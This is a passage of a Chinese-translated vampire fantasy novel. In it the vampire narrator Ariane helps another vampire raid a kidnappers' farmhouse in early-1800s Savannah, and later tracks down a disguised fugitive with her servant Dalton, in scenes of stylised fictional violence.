房间的墙壁只是简单的隔断，甚至都没有顶到椽子。之前试图悄悄潜入时，这是个不利因素，现在却成了优势。我跳到一根木梁上，用爪子和膝盖紧紧抓住，然后沿着它爬出了这个封闭的空间。现在我倒挂着，慢慢地向那一小群人靠近。血液不会冲到我的头上，这让这个姿势出奇地让人放松。 现在该做选择了。 那个主导的男人是个看起来很凶狠的大块头，面前堆着可观的一堆硬币。他的衣服脏兮兮的，笑容里透着一股疯狂。另外两个人像那种随时防备着暴力的人一样，对他小心翼翼。第二个人穿着码头工人的衣服，身上有着那些母亲在孕期酗酒所生的不幸之人的特征。最后一个人很有潜力。他是个像黄鼠狼一样的家伙，穿着一套体面但不合身的西装。他的双腿紧紧夹住凳子，我还能看到他那双又脏又破旧的鞋子。 完美。 这个人就是那种典型的胆小怕事、一心往上爬的人。他会叫得最厉害，而且很可能观察到了比他应该知道的更多的事情。 我爬到那微弱灯光圈的边缘，然后从口袋里掏出一枚硬币。 我把它朝靠墙放着的一个铜板扔去。 硬币落地时发出一声轻响，而我已经跳到了地上。 那三个人都转过头去，背对着我。 我行动了。 我的左手掐住码头工人的脖子，一下子就把它捏碎了，同时右手轻轻一拳打在那个像黄鼠狼的人的喉咙上。 我跳过桌子，把食指戳进那个大块头的胸骨。 剧痛让他喘不过气来。我抓住他的肩膀，从他头顶翻过去，抓住他的头，用八颗獠牙狠狠地咬了下去。 我吞噬着这个男人的生命力。我不是在进食，我是在表明态度。 一直以来，我的眼睛都盯着那个捂着喉咙、拼命想深呼吸的黄鼠狼。他惊恐地盯着我，吓得尿了裤子。 我扔下那具毫无生气的尸体。 从我动手到现在，还不到四秒钟。 我像一个不朽的捕食者一样，优雅地走向那个黄鼠狼，带着一抹沾血的微笑在他面前俯下身。我靠得很近，我的呼吸让他畏缩。他绝望地用颤抖的手臂在空中胡乱挥舞，试图把我赶走，样子十分可怜。我的笑容却越发灿烂。现在想祈求怜悯，可有点晚了。 “我有几个问题。你会回答我，对吧？” 他疯狂地点头，仍然在努力喘气。泪水顺着他脏兮兮的脸流下来，喉咙里发出奇怪的呜咽声。 很好。 我抓住他，把他哭哭啼啼的身体拖起来。 “今晚是你们抓走了那个女人？” 点头。 “之前的其他女人也是你们抓的？” 点头。 “她们一开始都被带到这里了吗？” 点头。 “你知道今晚那个女人被带到哪里去了吗？” 点头。 “她们都被带到同一个地方了吗？” 他摇了摇头。 嗯。 我走回办公室，打开门。艾萨克已经把所有的书和散页文件分类整理好了，显然正在忙着把它们归置整齐。我走到他跟前时，他兴奋地转过身，小声说道： “啊，你回来了，我发现了一些非常有趣的…… 哦。” 艾萨克看到我抓着的俘虏，他还被我拎在手里，脸都憋成了深紫色。 “其他人呢？” 我笑了。他看起来有点不自在。没错，这才是真正的猎杀。纸张可不会流血，胆小鬼。 “告诉这位先生你们把那个女孩带到哪里去了，小家伙。” “去…… 去弗雷德里克森庄园了。” 他好不容易挤出这句话。 “很好，很好。这和我目前找到的线索一致。要是你能让我……” “够了，艾萨克。要是你想在他们转移那个女孩之前找到她，我们现在就得行动。” “等等，我刚发现了一个庞大的非法人口贩卖团伙，这里面……” “这可不是我们之前说好的！你让我帮你杀掉今晚绑架案的罪魁祸首，可没说要推翻整个阴谋！” “这可比那重要多了！” “你是要改变我们的约定吗，艾萨克？” 我用一种看似温和的语气问道。 他正要提高嗓门，但我脸上的某种神情肯定警告到了他。他停顿了一下，然后极不情愿地承认道： “我不是，而且我现在的行为完全背离了这次行动的初衷。” 他叹了口气，“ 那我们走吧。” “太好了。你介意吗？” 我指着我们的俘虏问道。 “一点也不。” 他夹着一个笔记本和一些文件离开了。 等等，处理尸体现在也成我的任务了？这次小小的冒险越来越让人沮丧了。算了，至少我能饱餐一顿再面对这个夜晚。 34.庄园夜袭 我说服了艾萨克（Isaac），让他给我足够的时间换身衣服，再去突袭弗雷德里克森庄园（Frederickson Estate）。就因为之前在房梁上的那番折腾，我漂亮的蓝色裙子上沾满了蜘蛛网。要是可以的话，我也不想让裙子沾上血迹。蜘蛛网好歹还能掸掉。 我决定不带步枪了。它虽然有用，但太过笨重，不适合执行潜入任务。说起来挺无奈，背着它我行动都困难。有时候我往前爬着爬着，就忘了它还在身上，结果枪管总会撞到门框上。 太丢人了。或许我只是需要多练习练习。 不过，无论如何我都不会放下我的手枪。我可是个优雅、有教养，还爱用火药的女人。谁要是想阻拦我，那就试试！ 我们的马车抵达了先前约定好的会合点。我刚下车，艾萨克就从一棵树的阴影后走了出来。我们现在位于萨凡纳（Savannah）的西郊，就连最破旧的小屋都已不见，取而代之的是荒芜的田野。空气中寒意刺骨，道尔顿（Dalton）呼出的气息化作一团团小小的冰雾。 吸血鬼艾萨克看到我的穿着时，眼睛一下子瞪大了。这可是我和洛斯（Loth）花了三十多个小时精心准备的成果，效果显而易见。 这是一条黑色的裙子，它不会出现在任何派对、舞会或狂欢场合。它是死亡的工具，狩猎的利器，更是一种宣言。只要看一眼，就能知道穿上它的人可不是来谈判的。这是我的专属战衣，我爱死它了。 这套装备从脖子到脚把我包裹得严严实实。丝线串起的轻质金属鳞片覆盖了我大部分的 torso、手臂和双腿。我的心脏由哈斯廷斯（Hastings）设计的一体式胸甲保护着，前臂上套着暗灰色的护腕，坚硬得足以抵挡刀刃。上面还有放置匕首、飞刀和手枪的皮套。再配上深色的靴子和一条裙子，整套装备就齐了。我穿裙子只是因为不太习惯穿男式长裤。布料贴合身体，这样我行动时，就不会有布料飘动的声音暴露我的行踪。这可是专门为我设计打造的。 我走向艾萨克，这时道尔顿拿出了一把巨大的弩，这也是洛斯的杰作之一。我的这位仆人很喜欢这个厉害的玩意儿。它虽然装填速度慢，但悄无声息，而且拉力大得惊人。毕竟，它可是为了猎杀狼人设计的。 “你好，呃，阿丽亚娜（Ariane），庄园，就在那边，翻过那座小山。” 我觉得这套盔甲还多了个“分散他人注意力”的效果。也许是它太贴身了？尤其是下面那部分？ 肯定不是吧。 我暂时把这些念头抛到一边，抬头望向我们的目的地。眼前什么都看不到，只有一片向上延伸的空旷田野。道路在我们右边继续向前延伸，左边一小片树林则遮住了马车。 看起来艾萨克是指望我带头，那我就当仁不让了。我往旁边走了走，找到了一条小路。我可不想直接从田野里穿过去，不管是不是吸血鬼，这么走的话，我的鞋底肯定会沾满泥巴，都能拿去开垦自己的种植园了。 我们沿着小路默默前行，我竖起耳朵留意着周围的动静，谨防出现意外。很快，庄园的边缘就映入了眼帘。 我得承认，我出身平民。我甚至得承认，摩尔夫人（Lady Moor）那句“ glorified peasant（高级农民）”的侮辱，确实戳到了我的痛处，所以我可能不是评判别人产业的最佳人选。话虽如此，如果这都能算得上是庄园，那我就是西班牙女王了。这明明就是个破败的农场，仅此而已。 艾萨克似乎和我有同感。 “这……真的是我们要找的地方？” “毫无疑问。”我一边回答，一边指向前方。 农场被石墙环绕，石墙沿着建筑物延伸。透过敞开的大门，我看到了一座房子、仆人宿舍和一个谷仓。院子里有些动静，我还能看到灯笼发出的独特光亮。 “他们难道就不能做点农民该干的事？” 真的假的？他居然这么问！ “大半夜的？”我低声说道，“还是在二月份？而且就干这些事还需要守卫？”我一边说着，一边指向门口的两个哨兵。 “……我想不会吧。” 这家伙也太与世隔绝了！ “我向你保证，就是他们。在行动之前，我们是不是得达成一致，这里的人都得死？” “我更想抓几个活口，这样之后我还能审问他们。” 在我彻底发火之前，我抓住了这位临时雇主的肩膀。我直视着他的眼睛，同时努力想着怎么说才能不显得太无礼。 “不用这么客气，阿丽亚娜，有什么就直说。” “那好。你请求我在你消灭敌人——现在是一群敌人时提供支援，目的是保护你的领地。这是我们的约定，先生。但实际情况是，我杀了你的对手，还从俘虏那里问出了地点。我以为你需要一点推动，显然，我错了。你要去攻打这个农场，杀了里面的人，重新确立你在这片领地的统治地位。只有当你遇到危险时，我才会出手。只有这样，你才能体验到真正的狩猎。要是所有事都我来做，那我们来这儿还有什么意义？” “没错，没错，你说得对。” “你为什么不愿意杀人呢？这对我们来说不是最容易的事吗？” “从群体角度来说，我想是的。”他回答时带着一丝不耐烦，“问题是我接受的训练就是不这么做。我们罗森塔尔家族（Rosenthal）的人学习如何躲避、闪避和逃跑，因为一旦陷入冲突，就说明我们从一开始就不该卷入其中。” “那现在是时候少依赖你的训练，多依靠你的本能了，不是吗？看看那些人，好好看看他们。” 艾萨克转过头，看向那两个脾气暴躁的守卫。他们正低声抱怨着自己的任务，还有这恶劣天气对他们身体的折磨。 “你知道他们缺少什么吗？” 艾萨克皱起眉头，上下打量着他们。我能想象他心里正对照着一份清单，想着他心目中绑架团伙成员该有的样子。我叹了口气。 “恐惧。艾萨克，他们不知道什么是恐惧。他们大半夜在你的地盘上，却毫无惧意。他们甚至还点着灯，大摇大摆地走来走去，因为他们连民兵都不怕。为什么呢？有多少民兵被他们收买了？他们在你这儿肆意偷猎，也不知道有多久了。就像老鼠一样。这难道不让你生气吗？事情难道就该这样吗？” “不……” “你不需要训练就能拧断脖子、压碎骨头，你只需要做你觉得对的事。明白吗？” “明白。” “那就做给我看。” 他悄悄潜入阴影中，绕到一边，准备接近哨兵。我有点担心地看着他，不过很快就发现我的担心是多余的。他悄无声息地行动着。 我凭本能行事时，唯一的问题就是容易高估自己。但艾萨克的情况却让我难以理解。哪有吸血鬼会害怕自己的力量呢？我只能猜测，我肯定是漏掉了某个关键因素，才没法理解他的行为。 我把注意力拉回到当下。艾萨克正沿着墙移动，很快就要发动攻击了。我给道尔顿打了个手势，在他耳边小声说： “绕到前门去，杀掉所有逃跑的人。” 他轻拍了一下我的手，表示明白，然后就离开了。 和艾萨克一起工作，让我越发感激我这位忠诚的仆人。他不仅能力出众，还听话又积极。要是他能成为英勇同伴（Valiantpanions）的领导层一员，那这个组织肯定会成为一股不容小觑的力量。他们的损失，成就了我的收获。 我继续观察着，艾萨克趁着两个守卫谈话的间隙，抓住其中一个，把他狠狠地撞向了墙壁。 有点失望。 不出所料，另一个守卫听到撞击声，转过身来。歹徒和吸血鬼就这样面对面站着。 然后，两人都愣住了。 拜托！倒是动手啊！我向前走了几步，拿起一把飞刀。我可不希望警报被拉响。要是我们太早被发现，追捕所有人就会变成一件麻烦事，更别提要是有人躲进房子里，我们要进去就更困难了。 就在哨兵惊慌地举起火枪时，艾萨克跳了起来。 我认出了这个动作。我在新奥尔良（New - Orleans）的亨利府邸（Henley residence）时，第一次本能地用出了这个动作。这可是个绝佳的开场和终结技。 吸血鬼的爪子深深刺入那个人的胸口，夺走了他的生命。鲜血如喷泉般涌出，溅得我同伴的脸上满是鲜血。 我不明白。他本可以轻松避免这一切的。 他缓缓地用手抹了抹脸，像是要把血擦掉。但这只是徒劳，他的手和脸都沾满了鲜血。 他盯着自己沾满血的双手，眼睛眯了起来，似乎在思考着什么。 他舔了舔嘴唇。 他抬起头看着我，有那么一瞬间，我在他原本温和的棕色眼睛里看到了一丝邪恶的紫色光芒，然后他就冲了出去。 我迅速跑到墙边，翻身上墙。院子里除了几个箱子，几乎空无一人。谷仓的门大开着，一辆窄框的小推车停在前面。四处散落的几盏灯笼，为凡人提供了有限的照明。 一匹马惊恐地嘶鸣起来。我听到了皮肉撕裂的声音，还有人们惊讶和惊恐的叫声。我的盟友正在疯狂攻击一个倒下的人，周围其他几个人都惊恐地看着这一幕。我从这里看不到他的脸，我应该…… 我应该怎么做？我为什么要阻止他呢？ 因为万一需要邀请函，我们至少得留一个活口。真该死。 第一声枪响时，我跳了下去。艾萨克中枪了，这似乎让他的疯狂行为停了下来。他转向开枪的人，冲过去，用手掐住那人的喉咙，然后把尸体扔向另一个人。他的动作迅速而野蛮，但效率极低。他在每个受害者身上都花了太多时间，如果他的敌人训练有素、装备精良，足以阻止他，他早就陷入危险了。我又一次感到失望。我本想看看我的同类和别人战斗的样子，而不是总跟我打，结果这场战斗太让人失望了。 在同伴们被这个不知疲倦的疯子屠杀时，我们的一个对手还算机灵，跳上最近的一匹马准备逃跑。他朝着前门冲去，可能是有什么东西反光了，他转过头看向我，我们的目光交汇。 我微微一笑，指了指前方。他刚一转身，一支弩箭就射中了他的马的胸口。 人和马一起倒在地上。一如既往，这是一记漂亮的射击。现在我只需要从幸存者里挑一个……啊，看来没这个必要了。 房子的前门被一个穿着脏兮兮工作服的大块头猛地撞开。离这么远我都能闻到他身上散发出来的酒精和陈年汗臭混合的恶心味道，这股味道让人觉得堕落又邋遢。他手里拿着一把沾满陈旧血迹的大屠刀，其中有些血迹明显是人血。 在他身后，走出来的是这里的头目。 我一眼就能认出谁是掌权的人。 这个头目穿着一套保守的灰色西装，这种打扮在法庭上都不会显得突兀。他深色的眼睛扫视着院子，对地上的尸体毫不在意。他一点都不担心，只是很生气居然有人敢袭击他的地盘。 这两个人同时注意到了我。那个高个子露出了一个极其可怕的笑容，而头目只是一脸冷漠的轻蔑。 “一个女人。” “您可真敏锐，先生，我真佩服您这敏锐的观察力。” 他们俩都皱起了眉头。没错，他们很难把我和他们认知里的世界联系起来。在他们的认知里，我应该像那些被他们从家里绑架来的柔弱之人一样，吓得瑟瑟发抖才对。 “抓住她。”头目语气平淡地说道。 我任由那个高个子朝我走近。要是在两年前，他脸上那丑陋的 smirk可能会让我害怕。但我早已不是过去的阿丽亚娜了。 他那脏兮兮的手伸过来抓我的肩膀。我迅速刺向他的手臂，然后跳开，把他的动脉整个划开。 他又痛又惊，往后退了几步。我不明白他为什么这么惊讶。我既没退缩，也没表现出害怕。他真的以为我会乖乖站在那儿，等着他那张脸所预示的残忍对待吗？ “你这个贱人！” 他愤怒地冲了过来，双手还试图捂住伤口止血。我往后退了几步。这是我最喜欢的时刻。 当他看到从自己身体里不断涌出的鲜血时，愤怒变成了担忧，接着又变成了真正的恐惧，最后是惊慌失措。他用一条脏兮兮的手帕绑在那道大口子上，好像这样就能止住血似的。 “老大，救我！” “老大”气得咬牙切齿，掏出了一把枪。他看都没看一眼这个可怜的手下。啊，这就是个披着人皮的真正怪物，没有一丝同情心和荣誉感。我会很享受玩弄他的过程。 这个大块头跪倒在地，而他的老大则从他身边走过。他脸色惨白，身下的土地被染成了漂亮的深红色。 有那么一瞬间，我欣赏着这一幕的“美”。红色的鲜血、黑色的衣服和惨白的脸色相互映衬。生命与死亡在这一瞬间交织。将死之人、走向死亡之人，还有一个死而复生的女人，构成了一幅奇妙的画面，每个人都是命运的受害者，对自己的命运一无所知，也无力掌控。我有时会怀念阳光，但像这样的时刻，让一切都变得值得。 第二个人走到了我面前，这如画般的场景就此破碎。 他冷笑一声，举起手枪朝我的脸开了一枪。 至少，他是这么打算的。 这人也太冒失了，而且还很没礼貌！哎呀，这些萨凡纳的人还真是厚颜无耻。 他扣动扳机，硝烟燃起的瞬间，我整个上半身往旁边一闪。我没必要躲开子弹，只要躲开他的瞄准就行。子弹像一只愤怒的黄蜂，擦着我的左耳飞了过去。 哎哟！疼死了！太响了！这也太疼了！为什么在我们家的射击场就没这种问题呢？难道是因为这次我是挨打的一方？啊！ 我强忍着想要撕开他喉咙的冲动，继续保持微笑。我只是想安安静静地欣赏一下这“死亡警示”的瞬间，这要求过分吗？ 算了，我不能杀他。说真的，我和艾萨克的约定禁止我这么做。 面前这个冷酷的男人，从我们见面到现在，第一次露出了一丝警惕。有意思。看到手下死的死、伤的伤，他就该明白形势了，可他非要自己动手失败了才意识到自己的处境？这就是傲慢。一个只看到自己本事的人的通病。 “你根本不知道你在招惹谁。你和你的朋友都死定了。” “除非呢？” “老大”气得皱起了眉头。在我们身后的某个地方，有人在求饶。 “接着说啊。你刚才那句话没说完，不是吗？你想说除非放了你，不然我们都得死？要是我们离开，你就只要点赔偿？说你那些有权有势的朋友会把我和我的家人都毁掉？接着说，我觉得经典的威胁话术我差不多都听过了，但有时候，还是有人能给我点“惊喜”。” “我会让你学会尊重，婊子！” 真无趣。好吧。 这人从一个华丽的剑鞘里抽出一把细剑，立刻向我刺来。我只是往后退了一步，就躲开了剑尖，同时抽出自己的剑向上一挥，挡开了他本应发出却并未发出的后续攻击。 他这一击落空后，只是往后退了几步，然后小心翼翼地围着我转。 “你知道吗，你可能受过不错的训练，但你缺乏实战经验。” “闭嘴！” 我又躲开了他两 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“我不是说你的腿。啊，真是太让人失望了。克劳（Crow）都比你有意思多了，小傀儡。或许我该跟人打个赌？” “这事没完！” “你要是往左边看，就会发现已经结束了！” 这个人忍不住往左边看去，就在这时，艾萨克从右边冲出来，狠狠地撞上了他。 “哎呀！我骗你的。”我说着，突然停住了。 有些不对劲。 艾萨克的姿势变得很怪异。他像野兽一样弓着身子，咆哮着，毫无章法他像野兽一样弓着身子，咆哮着，毫无章法地挥舞着爪子，每一次劈砍都溅起一蓬鲜血，攻击毫无效果。他的衣服破破烂烂，之前我所熟悉的那种冷静、沉稳的气场变得阴森扭曲。 这和在蒂勒森庄园（Tillerson estate）树林里遇到的那个吸血鬼简直一模一样。 该死！我向前冲去，抓住艾萨克的肩膀，把他从那个惨叫着的受害者身边推开。他翻滚了一下，面向我。在他棕色的眼睛里，我看不到一丝理智。他满脸都是鲜血。这情况糟透了。 “够了，控制一下你自己！” “这是我的！”他怒吼着回应我。 他发出嘶嘶声，我也以同样的方式回敬他。想跟我争主导权？弱鸡！连自己都控制不了，简直一无是处！我得好好教训教训他，但还不能把他弄死。现在我可不想招惹罗森塔尔家族的注意，要是我杀了他们家族的一员，肯定会惹上大麻烦。 就暂且忍一下。 他猛扑过来，我灵活地一闪身，然后蹲下。他从我头顶掠过时，我伸出五根爪子，狠狠地刺进他的胸口，让他停了下来。接着，我把他重重地摔在地上。我瞄准他的心脏，他惊恐地抓住我的手腕。我的另一只手已经迅速抬了起来。 我把他举了起来，就在他身体离地的瞬间，我找到了机会。两根黑色的几丁质尖刺无情地刺进他的后颈。他这才停止了动作。 “艾萨克，看着我。” 他低声咆哮着，露出了獠牙。还敢反抗？你可没资格！两根几丁质尖刺又用力刺进他的脊椎骨。 他呜咽起来。 “艾萨克。看着我。艾萨克。” “是的……我是艾萨克。” 他闭上眼睛，像是在努力集中精神，慢慢地，他的身体放松了下来。那股冰冷的气场也逐渐恢复正常，不再阴森扭曲，重新变得沉稳有序。 我一直没动，他看向我的时候，我没动；他的手握住我放在他胸口上的手时，我还是没动。但这一刻的亲密感让我有一种奇怪的感觉，不过我并不害怕。我让他屈服了。今晚，我们之间的地位高下立判。 “谢谢你，我现在想站起来了。” 我把他拉了起来。他看起来疲惫不堪，尽管他的皮肤依旧光滑，眼神也很清澈。但这是一种深入骨髓、源自灵魂和内心的疲惫。 “你是怎么做到的？” “做到什么？” “你是怎么压制住内心那头猛兽的，就是那头想要支配一切、毁灭一切的野兽。我努力想要突破训练的束缚，听到内心的声音，可当我真的听到时，我的脑袋里只剩下一片尖叫。那时，除了恐吓和杀戮这些凡人，其他什么都不重要了。它的欲望无穷无尽。只有你的声音，才能穿透那层迷雾，让它安静下来。” “你只要时刻提醒自己的目标是什么就行。我们体内暴力的那一面缺乏自我保护意识，需要加以克制。” “是这样吗？”他疯狂地笑了起来，“它真的是我的一部分吗？那个只知道渴望死亡和征服的东西。阿丽亚娜，你是怎么和它共处的？你怎么能忍受它在你耳边不停地低语？” “我从来没听到过什么低语。我的脑海里自始至终只有我自己的声音。这不是什么神秘的邪恶存在，艾萨克，它只是你身体的一部分，你得学会控制它，这样它就能成为你战斗的又一得力工具。我一直都是我自己。它也一直都是我的一部分，仅此而已。” 我的同伴一脸惊恐，好像我刚刚判了他死刑一样。 “那他怎么办？”我指着那个倒下的头目，换了个话题，“你之前不是还想审问他吗？” “我大概能猜到他的犯罪模式了。我可不想救他的命，然后再杀了他。” “那你应该吸干他的血，给今晚的狩猎画上一个完美的句号。” “我做不到，我……” 他突然呕吐起来，黑色的、令人作呕的液体吐在泥泞的地上，里面没有一丝生命精华。我往后退了一步，免得弄脏我的靴子。 “我真的做不到。” 艾萨克挺直身子，用一块脏手帕擦了擦嘴。他深吸一口气，然后无比庄重地对我说：“尼拉里家族（clan Nirari）的阿丽亚娜，我，罗森塔尔家族的艾萨克，宣布你和我的契约已履行完毕。为表感激，我将这次狩猎的战利品赠予你。” 一股魔力向我袭来，让我想起了和洛斯的约定。这就是誓言的力量，此刻，一个承诺得以兑现。一股愉悦感顺着我的脊柱缓缓涌起，这种感觉纯粹而坚定，就像一切都回到了正轨。 我从容地走向这个一夜之间就覆灭的犯罪团伙的可怜头目，他还在不停地说着废话，许下各种空洞的承诺，我一把将他提了起来。我对他恐惧的尖叫和痛苦的呼喊充耳不闻，一口咬了下去。 我开始吸食他的鲜血。 是的，即使在我内心相对平静的状态下，我也能感觉到随着这个失败者的生命力一起涌入我体内的强大力量。我能感觉到艾萨克就站在我身边，恭敬地等着我结束。这种感觉让我充满力量，备受尊崇，甚至还有那么一点点兴奋。 希望他的鼻子里全是鲜血的味道。 吸食完毕后，我把他的尸体扔到一边。 “我现在得走了，阿丽亚娜。我有很多事需要好好想想，而且我感觉特别疲惫。这里的清理工作我会处理，你别担心。” 我点了点头。 他停顿了一会儿，像是在默默地思考着什么。 “你知道吗，你真的很擅长做一个吸血鬼。我们有些人会被本能吞噬，但我觉得你永远不会有这种风险。看你战斗时那么自然，真的……让我深受启发。我感谢你，也祝你一切顺利。有空记得写信给我。” 我又点了点头，他没有回头，径直离开了。等我确定他已经走远，看不见了，我终于放松了下来。 “嘿嘿嘿嘿，太好玩啦！” 该死，我又“醉”了（这里“醉”可能指吸食鲜血后的一种沉醉状态 ）。 35.荒野缉凶与温情相聚 在我们开完银行账户，途中还杀了六个人，英勇归来之后，道尔顿和我继续过着和从前差不多的日子。道尔顿是个迷人的小伙子，前途光明，收入稳定，一些体面人家开始悄悄询问，想看看自家女儿和他是否般配。他一一婉拒了这些询问。可这反倒助长了流言蜚语，现在大家都说我们是一对儿。幸运的是，我们的好名声保护了我们，人们更多地把我们看成一对奇特的组合，而非一对有罪之人。 这让我开始考虑和他发展一段感情。我敢肯定，他会毫不犹豫地答应。我也确信，我们之间的亲密关系会很愉快，没有什么顾虑。然而，我还是决定放弃这个想法。虽然我无法夺回主人从我身上夺走的东西，但我给予的东西仍然由我自己选择。我希望我的第一次两厢情愿的亲密时刻，能像阿格纳和洛斯那样。我不想只是放纵享乐，我想要他们拥有的那种感情。我对道尔顿的感情并非恋人之间的爱，所以我们无法拥有我渴望的那种关系。 与此同时，嗯，我还是有办法给自己找点乐子的。 在等待秘密会议召开，以及希梅纳帮我提交请愿书的这段时间里，我可没闲着。我目前的处境让我能接触到丰富的资源。按照希梅纳关于追求艺术的建议，我去上了绘画课。 嗯，这么说也不完全准确。经希梅纳推荐，我开始学习绘画。而在洛斯的建议下，我才去上了课，由老玛吉·米切尔悉心指导。 事情是这样的，我自学了一小段时间后，把我的作品拿给洛斯看。他可没什么好脸色，他原话是：“姑娘，别为你没啥天赋发愁，你有好几百年时间慢慢学呢。现在你给我讲讲，你咋觉得这画的是房子呢？求你了，我正想找点乐子呢。” 这个调皮鬼。幸运的是，我在其他方面的探索进展得还不错。 我对魔法符文及其排列的研究取得了一定进展，洛斯开始教我如何构建、避开和解除魔法防护与警报装置。这至少能让我知道这些东西有什么作用，然后想办法破解它们。不过，就算是施展最基础的防护魔法，对我来说还是完全不可能的事。 当我问洛斯为什么对入室盗窃相关的事情了解这么多时，他变得异常回避。他含糊提到一个女孩、一顶王冠，还有他的好表哥奥克里。我也就没再追问下去。 赏金猎人的工作变得越来越有意思了。现在出现了一个追捕逃亡奴隶的新市场，洛斯得知后，和我做了个交易。我去追捕那些逃亡者，但不用把他们送回奴隶主那里，而是把他们带到偏僻的房子或者荒僻的小道上，会有其他人接应他们。洛斯解释说，他是一个叫“地下铁路”的秘密组织的成员，这个组织致力于帮助奴隶向北逃往加拿大，或者向西前往墨西哥。啊，洛斯，总是这么心软。 剩下的赏金任务目标就是常见的骗子、小偷、杀人犯和□□犯。这就说到了今晚的事。 1805年5月，佐治亚荒野。 “就是他们，女主人。” 道尔顿指着这片勉强算得上路的地方旁一小群聚集的人说道。我看到有三辆马车，三拨人围坐在一堆篝火旁。不幸的是，他们还养了条狗。 我仔细观察着他们。有一对年轻的农民夫妇，看那女人大着肚子，估计是已经结婚了。我还注意到一个大家庭，孩子们正由一个体态丰满的女人喂着饭，她的丈夫则在一旁抽着烟斗，他穿着牧师的黑色长袍。最后两个人，一个是坐在摇椅上的老妇人，旁边有个神情木讷的女人照料着她。他们当中似乎没有达里厄斯·希尔先生，那个江湖骗子兼暴徒。 我挺喜欢骗子的，他们总能讲出最精彩的故事。 “你确定他们都没看到你追踪的人？”我问道。 “他们是这么说的，而且看起来很真诚。问题是，这应该不太可能。希尔走的是同一条路，可在盐泉镇，没人记得见过他。除非他在遇到这群人之前就偏离了大路，否则他们应该会看到些什么的。” 我继续观察着。我觉得他们确实什么都没看到。他们为了安全一起赶路，但彼此之间并没有什么交情。如果非要说有什么的话，那对年轻夫妇和那个木讷的女人都对牧师有所警惕。估计在整个旅途中，牧师没少用神灵惩罚的威胁来唠叨他们。他们没理由串通起来说谎。 看起来穿越荒野追踪的可能性越来越大了，不过这和我对这个人的了解不太相符。骗子一般都是靠行骗来解决旅途所需。杀人犯更有可能去荒野冒险。 除非…… 不会吧！这可太有意思了。 我又盯着看了一会儿，直到我完全确定自己的判断，然后站了起来。 “女主人？” “我最亲爱的仆人，你还有很多东西要学呢！跟我来，好好看着。” “好的，女主人，我对你的高见佩服得五体投地。”他面无表情地说道。 我不禁想，有多少吸血鬼会被自己的仆人调侃呢？ 我们从路上朝营地走去。那条狗最先听到我的动静，闻到我的气味。它狂吠起来，惊动了众人，两个男人都抄起了火枪。 道尔顿走到篝火照亮的圈子边缘，火光映照在他的副警长徽章上，闪闪发光。 “又是你？！”牧师愤怒地咆哮道。道尔顿却不为所动。 “嘶嘶嘶。” 这声音很低，人类听不见。狗先是叫了几声，接着呜咽起来，然后就安静了下来。 很好。 我侧身绕过道尔顿，朝人群走近了些。是时候来一场精彩的教学了。 “我亲爱的道尔顿，追踪猎物的时候，你一定要记住……” “谁允许你说话了，臭娘们？” 这下麻烦了。我正考虑要不要杀了他们的狗作为警告，道尔顿出面干预了。 “我允许的。现在闭嘴。” 牧师被他的话气得站了起来，张嘴想要反驳，却什么也没说出来。一声清脆的手枪上膛声让所有人都安静了下来。 “你不敢朝一个……” “不，我敢。现在闭嘴，你这是在妨碍佐治亚州副警长执行公务。” 干得漂亮，道尔顿，这样我就不用杀人了。 “在我被如此无礼地打断之前，我正要说……” “你敢！” 砰！ 牧师惨叫一声，向后倒去，他的家人顿时惊慌失措。但很快大家就发现，道尔顿只是朝天开了一枪示警。 等所有人的注意力都集中到他身上时，我的仆人从容地把手枪插回枪套，又从另一侧腰间掏出另一把。他的神情十分镇定。 “下一枪就打你的膝盖。” 此时安静得连根针掉在地上都能听见。 真是个好仆人。 “……很多蠢货只有在枪口对准自己的时候才知道危险。所以那些捕食他人的家伙就想出了办法，让自己看起来毫无威胁，直到一切都为时已晚。” 我绕着营地走了一圈，在那个木讷的女人面前停了下来。 “然而，大多数罪犯都很愚蠢，他们的伪装往往漏洞百出。比如说，年老糊涂的女人身上可不会有雪茄和酒的味道。” 我一把扯下“老妇人”头上的帽子，露出一颗光头。那顶假发还粘在头巾上。 “你这个贱人！”希尔先生尖叫着，气得满脸扭曲，试图从躺椅上站起来。转眼间，他那充满恨意的目光就被道尔顿穿着皮靴的脚给压了下去。 希尔又摔倒在地，大声惨叫。那个木讷的女人尖叫起来，那对夫妇也尖叫起来，牧师的家人也跟着尖叫。我可怜的耳朵啊。 “达里厄斯·希尔，你因持致命武器袭击、殴打他人、盗窃等罪名被捕……” 我看着道尔顿给罪犯戴上手铐。地上流淌着的新鲜血液……我感觉自己的嗜血欲望开始觉醒。过去三天我一直靠喝圣杯里的血维持，现在该轮到希尔先生“贡献”一下了。 “这到底是怎么回事？！”牧师试图重新树立权威，大声质问道。 “这意味着你和一个重罪犯、一个异装癖共用了一堆篝火。” 我微笑着准备离开，这时却发现道尔顿正盯着牧师，若有所思。 “你知道吗，我第一次问你的时候，你说上帝会揭示罪人的灵魂。可现在，罪人就在你身边，和你一起烤火。这不是很奇怪吗？” “你这话是什么意思，你这个无礼的混蛋？你知道你在跟谁说话吗？” “不知道，但你得告诉我。请说出你的姓名、姓氏和籍贯。”道尔顿回应道。 “我是美国浸信会的路德·布恩牧师，蒙上帝的恩典……” “出生日期和籍贯。” “你说什么？！” “我再说最后一次，先生，请你告诉我你的出生日期和籍贯，还是说你拒绝配合？” “这太过分了！我从没受过这样的对待！我要让你知道……” “你窝藏逃犯，现在又拒绝配合佐治亚州副警长的工作。你要么回答我的问题，要么就等着被拘留。听明白了吗？” “！！！” “听！明！白！了！吗？” 有那么一瞬间，气氛紧张得我都以为牧师要发火了，直到道尔顿又拿出一副手铐。牧师赶紧环顾四周，像是在寻求支持，然而，那对夫妇正警惕地看着他，那个木讷的女人还在地上抽泣。他只好咽下这口气，又坐了回去。 接下来是一段简短的审讯，道尔顿问了几个尖锐的问题。其他人没意识到，但我明白他在做什么。他的语气和措辞并非单纯的询问，而是带有羞辱性。像“是这样吗？”“你再说一遍？”这类的插话，不断扰乱着对方的心神，让人隐隐觉得道尔顿根本不相信他说的任何一个字。这样的审讯一直持续到牧师脸上的红色不再是因为愤怒，而是因为羞辱。 审讯结束后，道尔顿转身离开，临走前还抛下一句话： “我会核实你说的这些，先生，如果我不满意，你就等着我再次登门吧。” 然后我们带着俘虏消失在夜色中。 不过，那个木讷的女人哭着追了上来，这多少破坏了点气氛。 “我觉得她喜欢你，女主人。” “别瞎说了。” 我们坐着马车返回柯立芝，那个现在看起来有点虚弱的希尔最后一次被人看到就是在这座城市。我猜他是在那里抓走了这个单纯的女人，并用她作掩护。等我们找到她的住处，就会把她送回去。 